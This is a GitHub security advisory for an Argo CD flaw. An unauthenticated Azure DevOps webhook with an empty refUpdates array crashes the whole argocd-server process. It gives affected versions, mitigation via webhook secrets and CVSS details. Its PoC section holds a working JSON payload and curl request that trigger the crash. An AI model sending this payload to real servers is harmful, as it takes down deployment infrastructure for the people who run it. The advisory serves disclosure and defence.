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Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

High severity GitHub Reviewed Published Sep 30, 2025 in argoproj/argo-cd • Updated Oct 1, 2025

Package

gomod github.com/argoproj/argo-cd/v2 (Go)

Affected versions

>= 2.9.0-rc1, <= 2.14.19

Patched versions

2.14.20
gomod github.com/argoproj/argo-cd/v3 (Go)
= 3.2.0-rc1
>= 3.1.0-rc1, <= 3.1.7
>= 3.0.0-rc1, <= 3.0.18
3.2.0-rc2
3.1.8
3.0.19

Description

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

References

@crenshaw-dev crenshaw-dev published to argoproj/argo-cd Sep 30, 2025
Published to the GitHub Advisory Database Sep 30, 2025
Reviewed Sep 30, 2025
Published by the National Vulnerability Database Oct 1, 2025
Last updated Oct 1, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Uncaught Exception

An exception is thrown from a function, but it is not caught. Learn more on MITRE.

Improper Check or Handling of Exceptional Conditions

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. Learn more on MITRE.

CVE ID

CVE-2025-59538

GHSA ID

GHSA-gpx4-37g2-c8pv

Source code

Credits

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